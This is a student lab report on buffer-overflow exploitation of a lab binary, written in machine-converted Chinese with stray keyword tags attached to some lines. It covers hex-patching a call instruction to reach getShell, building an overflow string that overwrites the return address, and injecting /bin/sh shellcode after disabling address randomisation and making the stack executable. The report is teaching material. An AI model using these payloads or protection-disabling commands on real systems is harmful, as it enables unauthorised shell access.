2018-2019 2 20165203 《網絡對抗技術》 Exp1 PC平臺逆向破解

2018-2019 2 20165203 《網絡對抗技術》 Exp1 PC平臺逆向破解

實驗要求

1.掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼html

2.掌握反彙編與十六進制編程器linux

3.能正確修改機器指令改變程序執行流程shell

4.能正確構造payload進行bof攻擊編程

實驗內容

  • 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數vim

  • 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數windows

  • 注入一個本身製做的shellcode並運行這段shellcodesass

    預備知識

  • 熟悉Linux基本操做
  • 理解經常使用指令,如管道(|),輸入、輸出重定向(>)等
  • 理解Bof的原理
  • 理解彙編、機器指令、EIP、指令地址
  • 會使用gdb,vi等基本指令安全

實驗步驟

本次實驗,咱們須要用到一個名爲pwn1的可執行文件,有的同窗可能第一反應是文件中的內容是亂碼。這是爲何呢?咱們知道,計算機中信息=位+上下文,可執行文件的內容是計算機能夠直接識別的語言,天然,用戶就不必定可以認識了。網絡

那麼文件中到底是什麼內容呢?咱們能夠經過反彙編來查看,稍後具體操做,該文件中的程序正常的執行流程是:main執行foo函數,foo函數會簡單回顯任何用戶輸入的字符串。該程序的另外一個子函數爲getshell,顧名思義,它的功能是返回一個終端shell,可是依據程序,這個函數是不會運行的。咱們本次實驗的目標就是想辦法運行這個代碼片斷。在這裏有2種方法,3種實踐內容。方法有二,其一,想辦法運行代碼片斷,其二,就是注入運行shellcode。 因此,本次實驗的目標就是dom

- 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
- 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
- 注入一個本身製做的shellcode並運行這段```shellcode```。

實踐一 直接修改程序機器指令,改變程序執行流程

  • pwn1文件移到PC的共享文件夾裏,而後去Kali的/mnt/hgfs下將pwn_1文件複製到本身的實驗文件夾中。

  • 下載好後,咱們利用反彙編指令objdump -d 20165203_pwn1指令反彙編可執行文件,由此咱們能夠查看文件的彙編語言。

  • 經過彙編指令咱們能夠觀察到地址爲80484b5處的指令call 8048491 <foo>。咱們能夠分析一下:
    • 該指令的意思是調用地址爲0x8048491處的foo函數。它對應的機器指令爲(看彙編指令前面的機器指令)e8 d7fffffff, e8就是call的機器指令,跳轉的意思。
    • 咱們能夠分析,eip寄存器中存放的是下一步要執行指令的,在本程序中就是80484ba,可是d7又是怎麼來的呢?咱們須要找到eip中的80484bad7還有8048491之間的關係,以便修改代碼。咱們能夠發現:d7ffffff是一個補碼,爲41=0x29,而80484ba + d7ffffff = 80484ba - 0x29就是8048491這個值。
    • 由此,咱們能夠得出:
      • 只須要在源機器代碼中修改e8 d7ffffff中的d7ffffff804847d(getshell的地址)- 8048ba的補碼就能夠了。
      • 咱們還能夠藉助Windows自帶的計算器來計算爲c3ffffff,如圖所示

通過以上的分析,咱們的目的就是修改文件中call指令後面的地址中的d7ffffffc3ffffff,目的清晰,實驗的步驟也就清晰多了。

  • vim 20165203_pwn1,打開可執行文件。

  • Esc鍵 -> :%!xxd切換到16進制模式,如圖所示。

  • 查找修改的內容。

  • 確認位置是正確的後,按i進入編輯模式,修改d7c3

  • :%!xxd -r切換到16進制模式。
  • :wq保存並退出。
  • 再反彙編一下,看看call後面的地址是不是咱們所預想的那樣呢?

  • 輸入./20165203_pwn1運行修改後的代碼,就獲得了shell終端。

實踐二 構造輸入參數,形成BOF攻擊,改變程序執行流

  • 用反彙編命令objdump -d 20165203_pwn2

  • 咱們能夠觀察到,可執行文件所調用的函數foo有Buffer overflow漏洞。
  • 咱們知道,調用函數經過堆棧來進行,咱們瞭解堆棧的結構,當咱們調用函數時,函數foo 804849a處的mov語句會讀入字符串,讀入的數據會超出系統保留的緩衝區,超出的部分會溢出覆蓋返回地址,如圖分析所示。

  • 咱們能夠利用這一點,將返回地址覆蓋成80484ae
  • 由此,咱們的目標就明確了: 利用函數main中的call調用函數foo這一特色,在堆棧上壓返回地址值:80484ae
  • 但是問題又來了。

緩衝區的大小是多少呢?輸入數據的哪些部分會覆蓋返回地址呢?

如圖所示,經過觀察foo函數中紅色框框內的指令,咱們能夠看到esp寄存器空出了0x38大小的位置,而eax寄存器又佔到了0x1c大小的位置,ebp的大小爲4個字節,因此,緩衝區的小小爲0x38-0x1c+432字節

  • 咱們能夠嘗試輸入字符串111111112222222233333333444444441234,如圖所示。

  • 咱們能夠看到1234覆蓋到了返回地址,咱們只要把這四個字替換爲getshell的地址,就OK了。

    覆蓋值的字節序是什麼樣的?如何構造覆蓋值?

  • call命令處設置斷點,對比eip處的數據,輸入1234,出來倒是4321.咱們能夠肯定是11111111222222223333333344444444\x7d\x84\x04\x08

  • 由於輸入的阿拉伯數字進到寄存器就變爲ASCII碼,因此,咱們沒辦法輸入x7d這樣的16進值,咱們須要構造字符串文件,使ASCII碼爲咱們想輸入的16進值。利用Perl
  • 輸入xxd input查看input文件的內容。

  • 將input的輸入經過管道做爲可執行文件20165203——pwn2的輸入。咱們發現,實驗成功。

實踐三 注入Shellcode並執行

  • 咱們要知道,shellcode就是一段機器指令。
  • 一般這段機器指令的目的是爲獲取一個交互式的shell(像linux的shell或相似windows下的cmd.exe),因此這段機器指令被稱爲shellcode。
    在實際的應用中,凡是用來注入的機器指令段都通稱爲shellcode,像添加一個用戶、運行一條指令。
  • 具體能夠參考Shellcode入門
  • 此次實踐的目的就是注入一段shellcode,運行起來,天然也就達到了實驗目的了。

準備工做

  • 使用apt-get install execstack命令安裝execstack
  • 修改如下設置
execstack -s pwn1    //設置堆棧可執行
execstack -q pwn1    //查詢文件的堆棧是否可執行
more /proc/sys/kernel/randomize_va_space // //查詢是否關閉地址隨機化 
echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化

如圖所示

具體操做及分析

  • 咱們選擇用來攻擊buf的結構爲retaddr+nops+shellcode,咱們須要在shellcode前填充nop的機器碼90,最前面加上加上返回地址(先定義爲\x4\x3\x2\x1),具體指令爲perl -e 'print"\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

  • 咱們來看一下\x4\x3\x2\x1部分要填什麼。
    • 打開一個終端注入如下攻擊buf:(cat input_shellcode;cat) | ./20165203_pwn3

  • 打開另外一個終端來調試。
  • ps -ef | grep 20165203_pwn3來查看20165203_pwn3進程號。如圖所示,進程號爲5023。

  • 啓動gdb, 輸入attach 5023進行調試。

  • disassemblr foo反彙編,經過設置斷點,查看注入buf的內存地址。

  • 使用break *0x080484ae設置斷點,輸入c命令運行,經過在20165203_pwn3進程正在運行的終端敲回車,使其繼續執行。再返回調試端,使用info r esp命令查找地址。

  • 使用x/16x 0xffffd3ec查看esp寄存器中的存放內容,咱們能夠看到01020304,就是返回地址的位置。而根據咱們構造的input_shellcode(攻擊buf的結構)可知,shellcode就在其後,因此地址是 0xffffd3ec+0x04爲0xffffd3f0

  • 接下來將以前的\x4\x3\x2\x1改成這個地址便可, 須要使用命令perl -e 'print"\xf0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

  • 使用(cat input_shellcode;cat) | ./20165203_pwn3運行文件,攻擊成功。

實驗中出現的問題及解決方法

Q1:在查看進程號時,發現./20165203_pwn3的進程號不見了,只有ps -ef | grep 20165203_pwn3的進程號。

A1:本身在新的終端打開./20165203_pwn3時,多敲了一個回車,意味着進程執行完畢,天然就不會顯示進程號了。因此,在打開./20165203_pwn3時,不要敲回車,在調試時敲回車使進程繼續執行。

Q2:注入Shellcode,咱們選擇的是retaddr+nops+shellcode結構,還有其餘的結構嗎,咱們爲何要選擇上述結構呢?

A2:Linux下有兩種基本構造攻擊buf的方法:

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr
  • 由於retaddr在緩衝區的位置是固定的,shellcode要不在它前面,要不在它後面,簡單說緩衝區小就把shellcode放後邊,緩衝區大就把shellcode放前邊
    咱們這個buf足夠大,夠放這個shellcode了。這裏選擇結構nop+shellcode+retaddr nop一爲是了填充,二是做爲「着陸區/滑行區」
    咱們猜的返回地址只要落在任何一個nop上,天然會滑到咱們的shellcode。

實驗小結

  • 實驗感想:本次實驗咱們主要學習了緩衝區溢出與shellcode,這是本身第一次嘗試攻擊程序,修改程序的路徑,感受頗有意思,當攻擊成功後,那種心裏的知足感和成就感油然而生。固然,這其中也參考了學長學姐以前的博客,本身把本身思考分析的過程詳細整理了一下,但願本身在從此能學到更多關於網絡對抗方面的知識。

  • 問題:什麼是漏洞?漏洞有什麼危害?

  1. 漏洞:在硬件、軟件、協議的具體實現或系統安全策略上存在的缺陷,從而可使攻擊者可以在未受權的狀況下訪問或破壞系統。例如緩衝區溢出。
  2. 危害:黑客入侵、病毒入侵、數據丟失和篡改、隱私泄露乃至形成經濟損失。
相關文章
相關標籤/搜索